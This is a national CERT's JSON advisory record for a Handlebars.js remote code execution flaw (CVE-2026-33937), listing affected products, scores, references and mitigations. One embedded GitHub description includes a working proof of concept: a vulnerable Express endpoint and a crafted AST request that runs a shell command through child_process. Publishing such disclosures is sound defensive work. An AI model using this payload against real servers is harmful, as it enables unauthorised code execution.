{
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        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-33937",
        "tracking": {
            "current_release_date": "2026-04-02T15:00:12.693943Z",
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            "id": "CVE-2026-33937",
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                {
                    "date": "2026-03-27T20:28:33.938806Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)."
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                {
                    "date": "2026-03-27T20:28:42.205972Z",
                    "number": "2",
                    "summary": "NCSC Score created."
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                {
                    "date": "2026-03-28T07:38:32.719615Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
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                {
                    "date": "2026-03-28T07:38:35.127948Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
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                {
                    "date": "2026-03-28T07:40:43.651817Z",
                    "number": "5",
                    "summary": "References created (1)."
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                {
                    "date": "2026-03-28T07:41:15.580379Z",
                    "number": "6",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-28T07:41:17.243745Z",
                    "number": "7",
                    "summary": "NCSC Score updated."
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                {
                    "date": "2026-03-28T12:28:03.480942Z",
                    "number": "8",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (31).| Product Identifiers created (10).| Product Remediations created (31).| References created (5).| CWES updated (1).| Vendor_assessment created."
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                    "date": "2026-03-28T12:28:08.508341Z",
                    "number": "9",
                    "summary": "NCSC Score updated."
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                    "date": "2026-03-28T12:44:13.336802Z",
                    "number": "10",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| Products connected (2)."
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                {
                    "date": "2026-03-28T12:44:18.580647Z",
                    "number": "11",
                    "summary": "NCSC Score updated."
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                {
                    "date": "2026-03-29T00:38:32.312829Z",
                    "number": "12",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
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                    "date": "2026-03-29T00:38:34.246177Z",
                    "number": "13",
                    "summary": "NCSC Score updated."
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                {
                    "date": "2026-03-30T11:28:16.533169Z",
                    "number": "14",
                    "summary": "NCSC Score updated."
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                {
                    "date": "2026-03-31T12:19:53.516313Z",
                    "number": "15",
                    "summary": "Source connected.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| CWES updated (1)."
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                {
                    "date": "2026-03-31T15:39:02.070469Z",
                    "number": "16",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-31T18:25:13.059190Z",
                    "number": "17",
                    "summary": "Products connected (1).| Product Identifiers created (1).| Exploits created (1)."
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                {
                    "date": "2026-03-31T18:25:16.958036Z",
                    "number": "18",
                    "summary": "NCSC Score updated."
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                {
                    "date": "2026-04-02T14:59:57.775121Z",
                    "number": "19",
                    "summary": "EPSS updated."
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                {
                    "date": "2026-04-02T15:00:09.146985Z",
                    "number": "20",
                    "summary": "NCSC Score updated."
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            "cve": "CVE-2026-33937",
            "cwe": {
                "id": "CWE-843",
                "name": "Access of Resource Using Incompatible Type ('Type Confusion')"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "## Summary\n\n`Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.\n\n## Description\n\n`Handlebars.compile()` accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in `lib/handlebars/compiler/javascript-compiler.js` emits `NumberLiteral` values verbatim:\n\n```javascript\n// Simplified representation of the vulnerable code path:\n// NumberLiteral.value is appended to the generated code without escaping\ncompiledCode += numberLiteralNode.value;\n```\n\nBecause the value is not wrapped in quotes or otherwise sanitized, passing a string such as `{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //` as the `value` of a `NumberLiteral` causes the generated `eval`-ed code to break out of its intended context and execute arbitrary commands.\n\nAny endpoint that deserializes user-controlled JSON and passes the result directly to `Handlebars.compile()` is exploitable.\n\n## Proof of Concept\n\nServer-side Express application that passes `req.body.text` to `Handlebars.compile()`:\n\n\n```Javascript\nimport express from \"express\";\nimport Handlebars from \"handlebars\";\n\nconst app = express();\napp.use(express.json());\n\napp.post(\"/api/render\", (req, res) => {\n  let text = req.body.text;\n  let template = Handlebars.compile(text);\n  let result = template();\n  res.send(result);\n});\n\napp.listen(2123);\n```\n\n```\nPOST /api/render HTTP/1.1\nContent-Type: application/json\nHost: 127.0.0.1:2123\n\n{\n  \"text\": {\n    \"type\": \"Program\",\n    \"body\": [\n      {\n        \"type\": \"MustacheStatement\",\n        \"path\": {\n          \"type\": \"PathExpression\",\n          \"data\": false,\n          \"depth\": 0,\n          \"parts\": [\"lookup\"],\n          \"original\": \"lookup\",\n          \"loc\": null\n        },\n        \"params\": [\n          {\n            \"type\": \"PathExpression\",\n            \"data\": false,\n            \"depth\": 0,\n            \"parts\": [],\n            \"original\": \"this\",\n            \"loc\": null\n          },\n          {\n            \"type\": \"NumberLiteral\",\n            \"value\": \"{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //\",\n            \"original\": 1,\n            \"loc\": null\n          }\n        ],\n        \"escaped\": true,\n        \"strip\": { \"open\": false, \"close\": false },\n        \"loc\": null\n      }\n    ]\n  }\n}\n```\n\nThe response body will contain the output of the `id` command executed on the server.\n\n## Workarounds\n\n- **Validate input type** before calling `Handlebars.compile()`: ensure the argument is always a  `string`, never a plain object or JSON-deserialized value.\n  ```javascript\n  if (typeof templateInput !== 'string') {\n    throw new TypeError('Template must be a string');\n  }\n  ```\n- Use the Handlebars **runtime-only** build (`handlebars/runtime`) on the server if templates are  pre-compiled at build time; `compile()` will be unavailable.",
                    "title": "github - https://api.github.com/advisories/GHSA-2w6w-674q-4c4q"
                },
                {
                    "category": "description",
                    "text": "Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, `Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server. Version 4.7.9 fixes the issue. Some workarounds are available. Validate input type before calling `Handlebars.compile()`; ensure the argument is always a  `string`, never a plain object or JSON-deserialized value. Use the Handlebars runtime-only build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33937"
                },
                {
                    "category": "description",
                    "text": "Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, `Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server. Version 4.7.9 fixes the issue. Some workarounds are available. Validate input type before calling `Handlebars.compile()`; ensure the argument is always a  `string`, never a plain object or JSON-deserialized value. Use the Handlebars runtime-only build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33937.json"
                },
                {
                    "category": "description",
                    "text": "A flaw was found in Handlebars. An attacker can exploit this by supplying a crafted Abstract Syntax Tree (AST) object to the `Handlebars.compile()` function. This allows the injection and execution of arbitrary JavaScript code due to improper sanitization of the `value` field in `NumberLiteral` AST nodes. This vulnerability can lead to Remote Code Execution (RCE) on the server.\nThis is an Important vulnerability in Handlebars that allows for Remote Code Execution. The flaw occurs when the `Handlebars.compile()` function processes a specially crafted Abstract Syntax Tree (AST) object, leading to the injection and execution of arbitrary JavaScript code. Red Hat products utilizing Handlebars are affected if they process untrusted input through the `compile()` function.",
                    "title": "redhat - https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33937.json"
                },
                {
                    "category": "description",
                    "text": "Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, `Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server. Version 4.7.9 fixes the issue. Some workarounds are available. Validate input type before calling `Handlebars.compile()`; ensure the argument is always a  `string`, never a plain object or JSON-deserialized value. Use the Handlebars runtime-only build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable.",
                    "title": "debian - https://security-tracker.debian.org/tracker/CVE-2026-33937"
                },
                {
                    "category": "description",
                    "text": "Handlebars.js has JavaScript Injection via AST Type Confusion",
                    "title": "microsoft - https://api.msrc.microsoft.com/cvrf/v3.0/cvrf/2026-Mar"
                },
                {
                    "category": "other",
                    "text": "0.00426",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "3.8",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "Is related to a product by vendor Red Hat, There is exploit data available from source Nvd",
                    "title": "NCSC Score top decreasing factors"
                },
                {
                    "category": "details",
                    "text": "Severity: 3\n",
                    "title": "Vendor assessment"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5956278",
                    "CSAFPID-1439279",
                    "CSAFPID-1439292",
                    "CSAFPID-1439306",
                    "CSAFPID-1439315",
                    "CSAFPID-1439317",
                    "CSAFPID-1439319",
                    "CSAFPID-1441150",
                    "CSAFPID-1459353",
                    "CSAFPID-1459355",
                    "CSAFPID-1459356",
                    "CSAFPID-1459357",
                    "CSAFPID-1459358",
                    "CSAFPID-1459360",
                    "CSAFPID-1459361",
                    "CSAFPID-1663145",
                    "CSAFPID-2467450",
                    "CSAFPID-2524215",
                    "CSAFPID-2552001",
                    "CSAFPID-2631284",
                    "CSAFPID-2855724",
                    "CSAFPID-2855725",
                    "CSAFPID-2858634",
                    "CSAFPID-2873478",
                    "CSAFPID-2876286",
                    "CSAFPID-2914696",
                    "CSAFPID-2914697",
                    "CSAFPID-5068114",
                    "CSAFPID-5187689",
                    "CSAFPID-5958193",
                    "CSAFPID-5958194",
                    "CSAFPID-5958195",
                    "CSAFPID-5958362",
                    "CSAFPID-5958363",
                    "CSAFPID-5733329",
                    "CSAFPID-5969389"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-2w6w-674q-4c4q"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33937"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33937.json"
                },
                {
                    "category": "external",
                    "summary": "Source - redhat",
                    "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33937.json"
                },
                {
                    "category": "external",
                    "summary": "Source - debian",
                    "url": "https://security-tracker.debian.org/tracker/CVE-2026-33937"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - microsoft",
                    "url": "https://api.msrc.microsoft.com/cvrf/v3.0/cvrf/2026-Mar"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; redhat",
                    "url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4q"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; redhat",
                    "url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; redhat",
                    "url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-2w6w-674q-4c4q"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; redhat",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33937"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://www.cve.org/CVERecord?id=CVE-2026-33937"
                }
            ],
            "remediations": [
                {
                    "category": "mitigation",
                    "details": "To mitigate this issue, ensure that any input provided to the `Handlebars.compile()` function is strictly validated to be a string type, preventing the injection of crafted Abstract Syntax Tree (AST) objects. Additionally, for deployments where templates are pre-compiled at build time, consider utilizing the Handlebars runtime-only build (`handlebars/runtime`). This build variant does not include the `compile()` function, thereby eliminating the attack vector. If the application is a service, a restart may be required for the changes to take effect.",
                    "product_ids": [
                        "CSAFPID-1439279",
                        "CSAFPID-1439292",
                        "CSAFPID-1439306",
                        "CSAFPID-1439315",
                        "CSAFPID-1439317",
                        "CSAFPID-1439319",
                        "CSAFPID-1441150",
                        "CSAFPID-1459353",
                        "CSAFPID-1459355",
                        "CSAFPID-1459356",
                        "CSAFPID-1459357",
                        "CSAFPID-1459358",
                        "CSAFPID-1459360",
                        "CSAFPID-1459361",
                        "CSAFPID-1663145",
                        "CSAFPID-2467450",
                        "CSAFPID-2524215",
                        "CSAFPID-2552001",
                        "CSAFPID-2631284",
                        "CSAFPID-2855724",
                        "CSAFPID-2855725",
                        "CSAFPID-2858634",
                        "CSAFPID-2873478",
                        "CSAFPID-2876286",
                        "CSAFPID-2914696",
                        "CSAFPID-2914697",
                        "CSAFPID-5068114",
                        "CSAFPID-5187689",
                        "CSAFPID-5958193",
                        "CSAFPID-5958194",
                        "CSAFPID-5958195"
                    ]
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
                        "baseScore": 9.8,
                        "baseSeverity": "CRITICAL"
                    },
                    "products": [
                        "CSAFPID-1439279",
                        "CSAFPID-1439292",
                        "CSAFPID-1439306",
                        "CSAFPID-1439315",
                        "CSAFPID-1439317",
                        "CSAFPID-1439319",
                        "CSAFPID-1441150",
                        "CSAFPID-1459353",
                        "CSAFPID-1459355",
                        "CSAFPID-1459356",
                        "CSAFPID-1459357",
                        "CSAFPID-1459358",
                        "CSAFPID-1459360",
                        "CSAFPID-1459361",
                        "CSAFPID-1663145",
                        "CSAFPID-2467450",
                        "CSAFPID-2524215",
                        "CSAFPID-2552001",
                        "CSAFPID-2631284",
                        "CSAFPID-2855724",
                        "CSAFPID-2855725",
                        "CSAFPID-2858634",
                        "CSAFPID-2873478",
                        "CSAFPID-2876286",
                        "CSAFPID-2914696",
                        "CSAFPID-2914697",
                        "CSAFPID-5068114",
                        "CSAFPID-5187689",
                        "CSAFPID-5733329",
                        "CSAFPID-5956278",
                        "CSAFPID-5958193",
                        "CSAFPID-5958194",
                        "CSAFPID-5958195",
                        "CSAFPID-5958362",
                        "CSAFPID-5958363",
                        "CSAFPID-5969389"
                    ]
                }
            ],
            "title": "CVE-2026-33937"
        }
    ]
}